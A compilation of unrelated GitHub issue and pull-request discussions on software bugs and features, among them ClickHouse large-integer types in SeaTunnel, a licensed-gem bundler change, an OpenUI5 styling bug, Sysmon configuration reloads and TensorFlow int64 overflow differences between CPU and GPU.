[Improve] [Clickhouse-V2] Clickhouse Support Int128,Int256 Type

Purpose of this pull request
Clickhouse Support Int128,Int256 Type https://github.com/apache/incubator-seatunnel/issues/3057

Check list

[x] Code changed are covered with tests, or it does not need tests for reason:
[x] If any new Jar binary package adding in your PR, please add License Notice according
New License Guide
[x] If necessary, please update the documentation to describe the new feature. https://github.com/apache/incubator-seatunnel/tree/dev/docs

Your pull request changed the core module without proposal. Please refer to Coding Guide change your pr request. I think Int128,Int256 Type can using Long data type.
@Hisoka-X PLAL.

OK, thanks for your advice;

@TyrantLucifer https://github.com/apache/incubator-seatunnel/issues/3071

I found that it can be achieved with String data type, which has passed the E2E test. @Hisoka-X PLAL.

We should support it both source side and sink side, so we should test read int128 from clickhouse source and write it into clickhouse table.

We should support it both source side and sink side, so we should test read int128 from clickhouse source and write it into clickhouse table.

Yes, I have already tested.
The following is a case of e2d testing.
source_table = """
create table if not exists default.source_table(
id                Int64,
c_map             Map(String, Int32),
c_array_string    Array(String),
c_array_short     Array(Int16),
c_array_int       Array(Int32),
c_array_long      Array(Int64),
c_array_float     Array(Float32),
c_array_double    Array(Float64),
c_string          String,
c_boolean         Boolean,
c_int8            Int8,
c_int16           Int16,
c_int32           Int32,
c_int64           Int64,
c_float32         Float32,
c_float64         Float64,
c_decimal         Decimal(9,4),
c_date            Date,
c_datetime        DateTime64,
c_nullable        Nullable(Int32),
c_lowcardinality  LowCardinality(String),
c_nested          Nested
(
int UInt32,
double Int64,
string String
),
c_int128         Int128,
c_int256         Int256,
c_uint128        UInt128,
c_uint256        UInt256
)engine=Memory;
"""
sink_table = """
create table if not exists default.sink_table(
id                Int64,
c_map             Map(String, Int32),
c_array_string    Array(String),
c_array_short     Array(Int16),
c_array_int       Array(Int32),
c_array_long      Array(Int64),
c_array_float     Array(Float32),
c_array_double    Array(Float64),
c_string          String,
c_boolean         Boolean,
c_int8            Int8,
c_int16           Int16,
c_int32           Int32,
c_int64           Int64,
c_float32         Float32,
c_float64         Float64,
c_decimal         Decimal(9,4),
c_date            Date,
c_datetime        DateTime64,
c_nullable        Nullable(Int32),
c_lowcardinality  LowCardinality(String),
c_nested          Nested
(
int UInt32,
double Int64,
string String
),
c_int128         Int128,
c_int256         Int256,
c_uint128        UInt128,
c_uint256        UInt256
)engine=Memory;
"""
env {
execution.parallelism = 1
job.mode = "BATCH"
}
source {
Clickhouse {
host = "clickhouse:8123"
database = "default"
sql = "select * from source_table"
username = "default"
password = ""
result_table_name = "source_table"
}
}
transform {
}
sink {
Clickhouse {
host = "clickhouse:8123"
database = "default"
table = "sink_table"
fields = [
"id",
"c_map",
"c_array_string",
"c_array_short",
"c_array_int",
"c_array_long",
"c_array_float",
"c_array_double",
"c_string",
"c_boolean",
"c_int8",
"c_int16",
"c_int32",
"c_int64",
"c_float32",
"c_float64",
"c_decimal",
"c_date",
"c_datetime",
"c_nullable",
"c_lowcardinality",
"c_nested.int",
"c_nested.double",
"c_nested.string",
"c_int128",
"c_int256",
"c_uint128",
"c_uint256"
]
username = "default"
password = ""
}
}

I have a question, why not use decimal to implement int128 and int256?

Because decimal only supports up to 38 digits in spark, Int128 and Int256 have exceeded 38 digits, and Spark reported an exception.

I use String type in spark, Decimal type in other places, it's ok. So I thought, can I only use the String type, I tested it later and found that it is possible.


Fix/ios min version

- What I did
- How I did it
- How to verify it
- Description for the changelog

Running the CI, then I will do a version increase commit if it is successful.


real_airtag.py fails with "No such file or directory: 'account.json'" and "This implementation only supports s2k. Server returned s2k_fo"

When I provide my email and password as requested by real_airtag.py I get the following trace and I have no idea what went wrong and how to fix it:
Traceback (most recent call last):
  File "C:\python-files\airtag\_login.py", line 77, in get_account_sync
    with acc_store.open() as f:
  File "C:\programs\Python310\lib\pathlib.py", line 1119, in open
    return self._accessor.open(self, mode, buffering, encoding, errors,
FileNotFoundError: [Errno 2] No such file or directory: 'account.json'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\programs\Python310\lib\runpy.py", line 196, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "C:\programs\Python310\lib\runpy.py", line 86, in _run_code
    exec(code, run_globals)
  File "C:\python-files\airtag\real_airtag.py", line 53, in <module>
    sys.exit(main(sys.argv[1]))
  File "C:\python-files\airtag\real_airtag.py", line 31, in main
    acc = get_account_sync(anisette)
  File "C:\python-files\airtag\_login.py", line 80, in get_account_sync
    _login_sync(acc)
  File "C:\python-files\airtag\_login.py", line 20, in _login_sync
    state = account.login(email, password)
  File "C:\programs\Python310\lib\site-packages\findmy\reports\account.py", line 987, in login
    return self._evt_loop.run_until_complete(coro)
  File "C:\programs\Python310\lib\asyncio\base_events.py", line 649, in run_until_complete
    return future.result()
  File "C:\programs\Python310\lib\site-packages\findmy\reports\account.py", line 474, in login
    new_state = await self._gsa_authenticate(username, password)
  File "C:\programs\Python310\lib\site-packages\findmy\reports\account.py", line 741, in _gsa_authenticate
    raise UnhandledProtocolError(msg)
findmy.errors.UnhandledProtocolError: This implementation only supports s2k. Server returned s2k_fo

I figured out how to support s2k_fo and will provide a pull request probably this weekend.


Update README.md

https://github.com/misa198/octotree-theme/pull/4/commits/1fec47702df9aa9bb693f7b28beecb2e153545a4?short_path=b335630#diff-b335630551682c19a781afebcf4d07bf978fb1f8ac04c6bf87428ed5106870f5

preview here


fixing logical operator

I'm testing out the value of the checks in psecio-parse, so I scanned your repo and found a logical operator in word form instead of symbol form. Using the words instead of the symbol versions of the logical operators can cause precedence bugs, so I updated it for you. I also added the Code Climate badge to your readme in case you'd like to see more of this kind of analysis for your code.

Sorry about Advertising
I need contributors for my project. If you would like to help the project is located here.
https://github.com/poKe-Websites/poKe-CMS
Thank You :)


Disable bundler source when running under ruby packer

This PR restricts the bundler source to run only when run as a gem installed on a host machine.  If the bundler source is used from the distributed executables built using ruby-packer, an error will be given to the user.  In the process I've been able to make better use of bundler's high level APIs and significantly reduce the size and complexity of the code in this project.
To support bundler dependency enumeration from the ruby-packer based executable,  I ended up having to write a slimmed-down approximation of bundlers internal logic for enumerating dependencies and matching them up to gem specifications where available.  This has been a source of many bugs and unhandled edge cases, the most recent of which is https://github.com/github/licensed/issues/353.
Keeping the bundler source working has been challenging to say the least due to needing the source to work from both a gem installation in a ruby environment and from within the ruby_packer environment of the distributable licensed exe files that are built and attached to releases.
Enabling bundler dependency enumeration from the distributable licensed exe is mostly for convenience.  If someone is enumerating bundler dependencies then it's not a stretch to assume they have a working ruby installation.  This tool requires that dependencies have been installed locally, and it seems like a far edge case for anyone to install gems on a system then uninstall ruby 🤷
The core of the problem with using licensed's bundler source from the distributed exe is that there are effectively two pairs of ruby and bundler that are running at the time - one on the host machine and one inside the distributed executable.  Bundler was not built to support the use case of having two concurrently running ruby and bundler environments because of course it isn't, why would that ever be needed 😆 .  However licensed does need to run in that environment and because it's using bundlers internal objects it needs to trick bundler into doing the same.
Enough is enough, it shouldn't be too much to ask to run gem install licensed if a user is going to be enumerating bundler dependencies 😆

@pjmartorell if you're able, would you mind installing and using the bundler gem attached to a pre-release for this change in your test repo to see if it fixes the issue for you?  It worked for me, but I'd appreciate a second set of 👀 , because this makes a breaking change in order to support better bundler dependency detection.  Thanks!

@jonabc I unzipped the zip file in the root of the project and I added the gem to the Gemfile with gem 'licensed', path: './licensed' and the gem was installed successfully but the licensed command is not found.
I also tried to build them and install the .gem but it happens the same. Running bundle exec licensed or exe/licensed didn't work either. Am I doing something wrong?

@pjmartorell that's weird.  if you look at your bundle install path do you see the licensed gem in there, and what is the version in <path to bundled licensed code>/lib/licensed/version.rb?
If you're installing licensed from your Gemfile I wouldn't expect licensed to be runnable standalone but bundle exec licensed should work.

@jonabc the version is correct, but executables are not found:
> gem uninstall licensed

 1. licensed-2.15.2.pre.bundler
 2. licensed-2.15.2
 3. All versions
> 3
Successfully uninstalled licensed-2.15.2.pre.bundler
Remove executables:
	licensed

in addition to the gem? [Yn]  Y
Removing licensed
Successfully uninstalled licensed-2.15.2
> cd licensed
> rake install
licensed 2.15.2.pre.bundler built to pkg/licensed-2.15.2.pre.bundler.gem.
licensed (2.15.2.pre.bundler) installed.
> gem install pkg/licensed-2.15.2.pre.bundler.gem
Successfully installed licensed-2.15.2.pre.bundler
1 gem installed
> rbenv rehash                                                                                > licensed cache -s bundler
zsh: command not found: licensed
> rehash                                                                                > licensed cache -s bundler
zsh: command not found: licensed
> gem list licensed

*** LOCAL GEMS ***

licensed (2.15.2.pre.bundler)

@pjmartorell that is really weird and TBH I don't know whats going on.  Two followup things to check:

Is the correct rbenv shims folder in your path?
Does rbenv which licensed succeed and give you a path to licensed?

If it does, are you able to run licensed entrypoint via it's absolute path?

I'm going to move forward with this change.  The next release will be a major version update due to the breaking changes in the bundler source here, so hopefully everyone is referencing licensed with some sort of scoping like ~> 2.0 or 2.x, and upgrading to 3.0.0 will be an intentional choice.


lock versions.

Good day to you!
Thank you for opensourcing!
I'd like to use your package, but I've got some troubles.
I've checkouted master branch and got:
../../git/go/src/github.com/crosbymichael/cgroups/cpuset.go:49: cannot use resources.CPU.Cpus (type string) as type *string in field value ../../git/go/src/github.com/crosbymichael/cgroups/cpuset.go:53: cannot use resources.CPU.Mems (type string) as type *string in field value ../../git/go/src/github.com/crosbymichael/cgroups/devices.go:62: invalid indirect of device.Type (type string) ../../git/go/src/github.com/crosbymichael/cgroups/devices.go:65: invalid indirect of device.Access (type string)
I see that package is under active development, so couldnt you lock stable working versions with tags?

Sorry, that's just README.md issue, firstly I thought it was runtime-spec package issue, but then I realized it was about outdated readme. Closing issue, please, take attention to https://github.com/crosbymichael/cgroups/pull/3


Redux-Saga logo

As redux-saga has been migrated to the organization account I feel like it deserves a logo! However my poor graphical skills are not enough to create one, so the help from you guys - the community - would be much appreciated.

@Andarist I have played around a little and thought I'll make an attempt. How do you like this one? Feel free to make any suggestions....

This looks awesome!

After looking at it for longer, the green lines kind of looks like a smiley face. Should we care? Maybe do something different with the upper green line? I'm horrible at design, just throwing ideas out there :-)

@karland I dig it! Great work :-)

@karland gr8 work! Would prefer to keep it open for a while, maybe you'll face some competition :P but anyway I like it and if nothing new pops up, I would like to make this official with your permission ofc :)
cc @yelouafi

@Andarist Glad you like it. Feel free to use it, whenever and however you please. It would be CC0 of course.

was looking for a logo for a presentation 👍

I like it!
thanks @karland

So... do we have a winner? It would be lovely to use the project's logo on a presentation I'll do on Monday :)

Yeah, i think we have. Use it on ur presentation freely. Ill update Readme and other stuff with it, hopefully 2morrow

@karland
could you provide a version with transparent background? Also a version with "redux-saga" text to the right of the logo would be appreciated.


Fixed notification style for DevHub post

Fixed notification issue with DevHub.

Hi @shelegdmitriy @calebjacob ,
I I can merge the PR if everything looks good and it’s approved. Thanks!

Nice work @HarisSQA We can start with this enhancement and consider additional customizations for devhub later  cc @ravigautham


Puppet abort

Noticed when testing a puppet application which broke, and the early check of it errored out but upgrade-zulip kept trying to power through.
It's possible we want to emulate the exit codes of puppet --detailed-exitcodes (detailed at the end of zulip-puppet-apply) but I don't think anything expects zulip-puppet-apply to be a drop-in replacement for puppet, and those exitcodes don't seem to be particularly sensible (I'd expect bitfields, and thus 0/1/2/3, not 0/2/4/6).
Fixes:

Screenshots and screen captures:

Self-review checklist

[ ] Self-reviewed the changes for clarity and maintainability
(variable names, code reuse, readability, etc.).

Communicate decisions, questions, and potential concerns.

[ ] Explains differences from previous plans (e.g., issue description).
[ ] Highlights technical choices and bugs encountered.
[ ] Calls out remaining decisions and concerns.
[ ] Automated tests verify logic where appropriate.

Individual commits are ready for review (see commit discipline).

[ ] Each commit is a coherent idea.
[ ] Commit message(s) explain reasoning and motivation for changes.

Completed manual review and testing of the following:

[ ] Visual appearance of the changes.
[ ] Responsiveness and internationalization.
[ ] Strings and tooltips.
[ ] End-to-end functionality of buttons, interactions and flows.
[ ] Corner cases, error conditions, and easily imagined bugs.

Merged, thanks @alexmv! I agree trying to replicate the exit codes from puppet doesn't make sense.


sap.tnt.InfoLabel: Redesign: Colors are not displayed with "displayOnly = true"

OpenUI5 version:
1.95.0
Browser/version (+device/version):
Chrome
Any other tested browsers/devices(OK/FAIL):
No
URL (minimal example if possible):
https://ui5.sap.com/1.95.0/#/entity/sap.tnt.InfoLabel/sample/sap.tnt.sample.InfoLabel
User/password (if required and possible - do not post any confidential information here):
Steps to reproduce the problem:
1.Use InfoLabel
2.set "displayOnly" = true
What is the expected result?
Colors of InfoLabel as in:
https://ui5.sap.com/1.94.0/#/entity/sap.tnt.InfoLabel/sample/sap.tnt.sample.InfoLabel
What happens instead?
No colors visible because the changed css class ".sapTntInfoLabel.sapTntInfoLabelDisplayOnly" overwrite the classes for the colors like ".background5"
Commit in 1.95.0:
https://github.com/SAP/openui5/commit/be872e83320a4f1372207d95960c9c3872bb5b02#diff-863c2e0c67c87eca34ca9645101246b793c223d826f5c0c190d7fe1e31c2de68R48
Affected lines:
https://github.com/SAP/openui5/blob/be872e83320a4f1372207d95960c9c3872bb5b02/src/sap.tnt/src/sap/tnt/themes/base/InfoLabel.less#L43-L54

Any other information? (attach screenshot if possible)
With "displayOnly" = false, the colors are displayed

Hello @marianfoo ,
Thank you for sharing this finding. I've created an internal incident<PHONE_NUMBER>. The status of the issue will be updated here in GitHub.
Regards, Diana

Hi @gmkv ,
Thank you for your extensive reply.
I can absolutely understand your changes on the whole.
However, I think some people will wonder (like me) why the colours are suddenly gone in the infolabel.
Even if you are right, of course, and the colours should not be used as indicators, people will use them that way.
Especially because they are used in the SAP samples and in the design guide as some kind of indicator.
And since in the documentation it is recommended to set displayOnly=true, questions/complaints will surely come there.
It is just not an expected behaviour of a control that has been around for a while.
Even SAP Developers use it that way with displayOnly=true: https://sap-samples.github.io/artifact-of-the-month/
So probably the solution for most is to set displayOnly=false if you want the colours?
Regards,
Marian


Represent component types, event types, and handlers as entities.

This means ComponentInfo, EventInfo, and HandlerInfo will exist as components on entities, rather than living exclusively in separate data structures.
Benefits

Simplifies the API: ComponentId, EventId, and HandlerId can be replaced by EntityId since they're just entities now. The various Add* and Remove* events become redundant with Insert<*Info> and Remove<*Info>.
Makes &mut World less special: Components/Events/Handlers can be added/removed from within handlers.
Can make the name field present in the *Info structs a component.  A Name component can be added automatically when using add_handler, add_component, etc.
Lets us redefine singletons as components on components. This enforces that there are zero or one of them. Although this reframing has some downsides to consider.
Opens the door to more flecs-like features in the future.

Challenges
Potentially lots of edge cases and soundness issues to worry about.

I feel that this library has settled into its niche. The changes necessary for this feature and other flecs features like relations would require rewriting the whole thing at this point. Better to do that in a new library.


Update Regs3K secondary nav expandable

@jimmynotjim This adds the specific Regs3K secondary nav expandables functionality that we discussed yesterday. The changes below only affect Regs3K pages with the exception of the hide_cue_label option that I added to the expandable organism.
Instead of nesting expandables I faked it by having the outer container just show/hide the inner expandables when clicked.
I didn't want to push directly to your branch so this is a PR for your PR #4365.

Thanks @jimmynotjim! I was able to delete a lot of cruft per your comments.

Cool, I'll have to trust that it works. Here goes nothing.


Backend: admin feature

Feature request-
An admin can
->fetch all the users
->edit/delete the user's profile
->fetch every blog
-> delete or update it
Describe the solution you'd like
editing to the userSchema and making routes and controller for it

Note:

Do mention if your are working under GSSoC'21. Yes
If you want to work on an issue, you should check if it has already been assigned to anyone. If the issue is free you can comment /assign to get the issue assigned to you.
If you are raising a new issue and want to work on it then also you should comment /assign under the issue to get it auto assigned.
Please refrain from adding labels to your issue/pull-request on your own. It is the job of the Project Admin and the Mentors to review your issue/pull-request and add labels accordingly.
According to the level of the issue, respective time will be allotted under which the task needs to be completed/resolved by the assigned person. If the issue is not resolved within the given time, it will be assigned to the next person. In case of any discrepancies, the decision of the maintainer will be final.

level - 0: 2 days
level - 1: 3 days
level - 2: 4 days
level - 3: 5 days

@Pranav016  what is your thought on this feature

Sounds good but a bit tricky to implement since you will need to add an 'if else' statements or a new implementation for all the routes. Its upto you if you are willing to work, I'll definitely help you out. I'd suggest raise smaller issues to lead up to this issue so you get more points since this feature could need some large code changes.

/reviewed

Sounds good but a bit tricky to implement since you will need to add an 'if else' statements or a new implementation for all the routes. Its upto you if you are willing to work, I'll definitely help you out. I'd suggest raise smaller issues to lead up to this issue so you get more points since this feature could need some large code changes.

Yes I would start with a middleware and schema update and after your approval all routes and controllers


I have a problem when i use method 1 to install MGEfinder!

Hello, thanks for the wonderfull tool you have developed for exploring MGE!
i failed to use the Method 1 to install MGEfinder, it shows:
(base) lkj666@Cool:~/software/MGEfinder$ bash install.sh
Removing mgefinder environment if already installed...
Installing mgefinder environment...
Collecting package metadata (repodata.json): \ install.sh：行 13: 727048 killed               conda env create -f env/conda_linux64.yaml
Installation Complete.

Before running mgefinder, activate the mgefinder environment with
> conda activate mgefinder

You can then run mgefinder by typing
> mgefinder [command]
Send any questions to<EMAIL_ADDRESS>
can you give me some advices? thank you

I have also faced this problem when executing MGEfinder. Any advice? Thank you.
(mgefinder) Jacobs-MacBook-Pro:MGEfinder jacob$ mgefinder --help
#### CHECKING DEPENDENCIES ####
Current version of snakemake: 3.13.3
Expected version of snakemake: 3.13.3
Current version of einverted: EMBOSS:<IP_ADDRESS>
Expected version of einverted: EMBOSS:<IP_ADDRESS>
Traceback (most recent call last):
  File "/Users/jacob/miniconda3/envs/mgefinder/bin/mgefinder", line 5, in <module>
    from mgefinder.main import cli
  File "/Users/jacob/miniconda3/envs/mgefinder/lib/python3.6/site-packages/mgefinder/main.py", line 38, in <module>
    check_dependencies()
  File "/Users/jacob/miniconda3/envs/mgefinder/lib/python3.6/site-packages/mgefinder/dependencies.py", line 39, in check_dependencies
    bowtie2_checker.check(extract_version=lambda x: x.split()[2])
  File "/Users/jacob/miniconda3/envs/mgefinder/lib/python3.6/site-packages/mgefinder/dependencies.py", line 12, in check
    output = shell(cmd.format(tool=self.tool), read=True).decode('utf-8').strip()
  File "/Users/jacob/miniconda3/envs/mgefinder/lib/python3.6/site-packages/snakemake/shell.py", line 88, in __new__
    raise sp.CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command 'bowtie2 --version 2>&1' returned non-zero exit status 255.

@JacobGYH Looks like a bowtie2 version error, what version is your bowtie2?

@lkj66666 what type of machine are you using? Is it linux?

@durrantmm I managed to get it working after sorting out the bowtie2 version! Thank you, appreciate it.

@JacobGYH @durrantmm, can you explain how you sorted out the bowtie2 version? I'm getting the same error message.
I re-installed bowtie2 (conda install bowtie2) in the mgefinder venv to no avail. I'm using OSX Big Sur 11.6.
(mgefinder) Lous-iMac:MGEfinder loulamartina$ mgefinder --help
#### CHECKING DEPENDENCIES ####
Current version of snakemake: 3.13.3
Expected version of snakemake: 3.13.3
Current version of einverted: EMBOSS:<IP_ADDRESS>
Expected version of einverted: EMBOSS:<IP_ADDRESS>
Traceback (most recent call last):
  File "/Users/loulamartina/miniconda3/envs/mgefinder/bin/mgefinder", line 5, in <module>
    from mgefinder.main import cli
  File "/Users/loulamartina/miniconda3/envs/mgefinder/lib/python3.6/site-packages/mgefinder/main.py", line 38, in <module>
    check_dependencies()
  File "/Users/loulamartina/miniconda3/envs/mgefinder/lib/python3.6/site-packages/mgefinder/dependencies.py", line 39, in check_dependencies
    bowtie2_checker.check(extract_version=lambda x: x.split()[2])
  File "/Users/loulamartina/miniconda3/envs/mgefinder/lib/python3.6/site-packages/mgefinder/dependencies.py", line 12, in check
    output = shell(cmd.format(tool=self.tool), read=True).decode('utf-8').strip()
  File "/Users/loulamartina/miniconda3/envs/mgefinder/lib/python3.6/site-packages/snakemake/shell.py", line 88, in __new__
    raise sp.CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command 'bowtie2 --version 2>&1' returned non-zero exit status 255.

It looks like the bowtie2 executable?
(mgefinder) Lous-iMac:MGEfinder loulamartina$ bowtie2 --help
(ERR): Description of arguments failed!
Exiting now ...

Which works outside the venv...
(base) Lous-iMac:MGEfinder loulamartina$ bowtie2 --version
/Users/loulamartina/miniconda3/bin/bowtie2-align-s version 2.4.5
...

Thank you!

This worked for me too. Firstly my Mac couldn't verify the developer so I had to go to miniconda3/envs/mgefinder/bin and manually open the file, by right-clicking and selecting Open with > Terminal (even though the Terminal is the default program to open such files, this method only works with the 'Open with' approach). After this I ran 'mgefinder --help' on teh terminal and it worked fine


Bug: onDone appears in state.nextEvents even if compound node is not in final state

Description
Given machine in initial state (see image), state.nextEvents includes an entry for the onDone transition. (And transition can be fired by clicking on onDone in the inspector)

Expected result

state.nextEvents == [ "start" ]
onDone  transition is disabled in inspector

Actual result

state.nextEvents == [ "done.state.test.First State", "start" ]
onDone  transition is enabled in inspector

clicking causes "Second State" to become the current state.

Reproduction
https://stately.ai/viz/dafd285c-17f4-429e-b16c-9b58d0e96222
Additional context
Local env is below, but viz URL for "Reproduction" above also shows  onDone enabled and clickable (although State.nextEvents is not exposed in UI so I can't verify that it also includes an entry for it)
OS X 10.15.7
node v18.12.1
<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>running locally

NOTE: using 'Simulate' in Stately Studio at stately.ai/registry/new shows expected behavior (onDone not enabled until "First State" is in final child state "new state 2"

This is currently expected behavior for .nextEvents, since it is only responsible for showing the events that are part of the active state nodes in the state; not for whether or not an event will cause a transition.
For that, state.can(...) should be used.
But thanks for pointing this out in the XState Viz repo; moving it there.


Dialog currentZIndex Incrementing

Should the currntZIndex ever be reset after a dialog is closed? I encountered an issue where I created a custom dialog that uses the getNextZIndex function to set the z-index appropriately. Unfortunately, there are elements with static z-index from CSS in the modal. After the dialog has been opened over and over the dialog z-index is above the elements inside due to the currentZIndex incrementing.

Closing since Durandal has been superseded by Aurelia just shy of four years ago.


tf.scan has inconsistent result on CPU/GPU

Click to expand!
Issue Type
Bug
Source
binary
Tensorflow Version
tf 2.10
Custom Code
Yes
OS Platform and Distribution
Linux Ubuntu 20.04
Mobile device
No response
Python version
No response
Bazel version
No response
GCC/Compiler version
No response
CUDA/cuDNN version
No response
GPU model and memory
No response
Current Behaviour?
`tf.scan` has inconsistent result on CPU/GPU:
- on CPU: [[10 20 30] [ 0  0  0]]
- on GPU: [[10 20 30] [<PHONE_NUMBER>806667264 -8722786653543858176 -4459375070678089728]]

Standalone code to reproduce the issue
import tensorflow as tf
with tf.device('cpu'):
    input_data = np.array([[10, 20, 30], [11, 12, 13]])
    result = tf.scan((lambda a, x: (a ** (x ** 2))), input_data)
    o = result.numpy()
    print(o)
with tf.device('gpu'):
    input_data = np.array([[10, 20, 30], [11, 12, 13]])
    result = tf.scan((lambda a, x: (a ** (x ** 2))), input_data)
    o = result.numpy()
    print(o)

Relevant log output
[[10 20 30] [ 0  0  0]]
[[10 20 30] [<PHONE_NUMBER>806667264 -8722786653543858176 -4459375070678089728]]

Hi @creakseek !
You have to specify the CPU or GPU card while using tf.device.
Attached resolved gist for reference.
Thank you!

Hi @mohantym , I run the same code you shared (with cpu/gpu card specified), but get different results. The issue can still be triggered, can you check gits here?

Hi @mohantym , I run the same code you shared (with cpu/gpu card specified), but get different results. The issue can still be triggered, can you check gits here?

@mohantym's assumption was wrong as if you check his output in detail he ran it in a CPU only Colab runtime.

@bhack @creakseek !
Thanks for correcting me.
@sushreebarsa !
Could you look at this issue. Attached gist in 2.9, 2.10 and nightly for reference.
Thank you!

@mohantym I suppose that you cannot reproduce this with dtype=np.float32 or dtype=np.float64 used in both the CPU/GPU inputs right?

@bhack thanks for the observation! I find that this issue only exists with dtype=np.int64, and not with  dtype=np.int32, dtype=np.float32, or dtype=np.float64 on TensorFlow 2.10.

I find that this issue only exists with dtype=np.int64

I think that that case is the same without any explicit dtype:
https://numpy.org/doc/stable/user/basics.types.html#overflow-errors

If 64-bit integers are still too small the result may be cast to a floating point number. Floating point numbers offer a larger, but inexact, range of possible values.

But in python float is 64-bit in the GPU case I think that we don't have this assumption.
Same as:
https://github.com/tensorflow/tensorflow/issues/58133#issuecomment-1284181763

@creakseek So I try to recap your problem.
It is not strictly related to the tf.scan but to your overflow with default (iint64) array with `pow.
import tensorflow as tf
print(tf.__version__)

tf.config.set_soft_device_placement(False)

with tf.device('cpu:0'):
   print("CPU")
   a = tf.constant(2,dtype=tf.int64)
   b = tf.constant(63,dtype=tf.int64)
   print(tf.pow(a,b))
   a = tf.constant(2,dtype=tf.int64)
   b = tf.constant(64,dtype=tf.int64)
   print(tf.pow(a,b))
   a = tf.constant(4,dtype=tf.int64)
   b = tf.constant(64,dtype=tf.int64)
   print(tf.pow(a,b))
   a = tf.constant(10,dtype=tf.int64)
   b = tf.constant(11*11,dtype=tf.int64)
   print(tf.pow(a,b))

with tf.device('gpu:0'):
   print("GPU")
   a = tf.constant(2,dtype=tf.int64)
   b = tf.constant(63,dtype=tf.int64)
   print(tf.pow(a,b))
   a = tf.constant(2,dtype=tf.int64)
   b = tf.constant(64,dtype=tf.int64)
   print(tf.pow(a,b))
   a = tf.constant(4,dtype=tf.int64)
   b = tf.constant(64,dtype=tf.int64)
   print(tf.pow(a,b))
   a = tf.constant(10,dtype=tf.int64)
   b = tf.constant(11*11,dtype=tf.int64)
   print(tf.pow(a,b))

CPU
tf.Tensor(-9223372036854775808, shape=(), dtype=int64)
tf.Tensor(0, shape=(), dtype=int64)
tf.Tensor(0, shape=(), dtype=int64)
tf.Tensor(0, shape=(), dtype=int64)

GPU
tf.Tensor(-9223372036854775808, shape=(), dtype=int64)
tf.Tensor(1, shape=(), dtype=int64)
tf.Tensor(1, shape=(), dtype=int64)
tf.Tensor(5332261958806667264, shape=(), dtype=int64)

You can try yourself in plain c++;
https://onlinegdb.com/vEKlZD90G
#include <iostream>

using namespace std;
#include <limits>
#include <cmath>

int main()
{
    cout << std::numeric_limits<int64_t>::min() << endl;
    cout << std::numeric_limits<int64_t>::max() << endl;
    int64_t x = 2;
    int64_t y = 64;
    int64_t res = 1;

    // std pow
    int64_t std_res = pow(x, y);
    cout << std_res << endl;

    int64_t mul_res = std::numeric_limits<int64_t>::min() * 2;
    std::cout << mul_res << endl;

    // Eigen pow
    y >>= 1;
    while(y)
     {
       x *= x;
       if(y&1) res *= x;
       y >>= 1;
     }
    cout << res << endl;
}

main.cpp:26:59: warning: integer overflow in expression of type ‘long int’ results in ‘0’ [-Woverflow]
   26 |     int64_t mul_res = std::numeric_limits<int64_t>::min() * 2;
      |                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~
-9223372036854775808
9223372036854775807
-9223372036854775808
0
0

Ref. https://en.cppreference.com/w/cpp/numeric/math/pow

If a pole error or a range error due to overflow occurs ±HUGE_VAL, ±HUGE_VALF, or ±HUGE_VALL is returned.

But TF internally on CPU use the Eigen library, you can see yourself that Eigen has both std and its own implementation.
We use the Eigen own implementation that it is going to overflow on multiplication on int64_t that it results in 0. Also std::pow:
https://eigen.tuxfamily.org/dox/MathFunctions_8h_source.html
The GPU is going instead with MLIR generated kernels and if you see the output with my example is going to behave differently from  both Eigen and std::pow implementations.
/cc @mohantym Can you label this as MLIR?

@creakseek  Also please note that more in general you cannot rely on unspecified behavior for an expected output so please consider the right input/tensor type for the values for feed in a specific operation:
https://en.cppreference.com/w/c/language/conversion

Although signed integer overflow in any arithmetic operator is undefined behavior, overflowing a signed integer type in an integer conversion is merely unspecified behavior.

Probably we could close this. I don't expect that MLIR kernel codegen could/would align on the mul overflow type of the Eigen implementation.

/cc @cantonios

std::pow always converts to float/double/long-double, so there we can use inf.  In TF, we want to keep the output type as integer, which doesn't support inf.  The overflow will result in undefined behavior, which is exactly what we are seeing.  We do not need alignment (on CPU/GPU, or between any platform).


[BUG] Changes to Sysmon.xml not updating Sysmon's behaviour

This one is a bit tricky to describe, so please bear with me, and may be a bug with Sysmon rather than LME.
To Reproduce
Steps to reproduce the behavior:

Update \\sysvol<domain>\Sysmon\sysmon.xml (or similar). In my case, I added a new entry to exclude some DNS names from eventid 22 to reduce some of the noise being generated. Specifically "end with" my domain root and "begin with" 'exch1', to omit my exchange cluster.
Wait

Expected behavior
After the update.bat script runs, I would expect that Sysmon's behaviour change to reflect the new configuration.
It does not. Sysmon continues to log and forward eventids 22 where the QueryName includes my domain root and various 'exch1' DNS names.
If I run Sysmon64.exe -c , I can see the new configuration reflected in the output, but the old behaviour persists. If I force an uninstall and reinstall of Sysmon, the behvaiour is updated and correct.
All boxes I've tested on so far are Windows Server 2012 R2.

Hi @tfriesen, Thats an interesting one I have not experienced yet.
If you restart the service rather than reinstalling the Sysmon driver does the running configuration match the configuration you passed with the '-c' command?

If I manually start and stop the service, yes it seems to take the new configuration.


[Purview-Workflow][TestProxyMigration] Enable disabled tests and re-record

Follow-up PR: https://github.com/Azure/azure-sdk-for-java/pull/36005
fix: https://github.com/Azure/azure-sdk-for-java/issues/36007

API change check
API changes are not detected in this pull request.


Feature: Automate docs build

Create GitHub Action workflow to build and deploy docs on push and pull requests (make docs)

implemented in #17


How to run compiled model?

how to execute .hwx model?

how to execute .hwx model?

That's a billion dollar question. Fortunately, @geohot answered that already, if you don't know where to start, please check https://github.com/geohot/tinygrad/blob/master/accel/ane/3_run/test.mm

Thanks a lot
Is that reliable?
Is there any way to know if the an ANE model has been compiled when i normally run a model using CoreML?
Is there any way to remove model from cache?


global: DB model spec and name length fix

Increases the size of model fields spec and name to 255 characters.

Signed-off-by: Krzysztof Nowak<EMAIL_ADDRESS>

Coverage remained the same at 97.335% when pulling 0b90ad49cb92ec38752530869f067da9576b609c on krzysztof:master into 03b0221dbfd3c18aebb3f7b1efee534799ec6805 on inveniosoftware:master.


[google_maps_flutter] animateCamera doesn't work correctly inside onMapCreated on iOS

The animateCamera doesn't work on iOS simulator at first but it works if we trigger something like rotating or pinch zoom etc on simulator. the moveCamera function works correctly.

Hello @monajafi !
Does the problem still persist in the latest stable version?

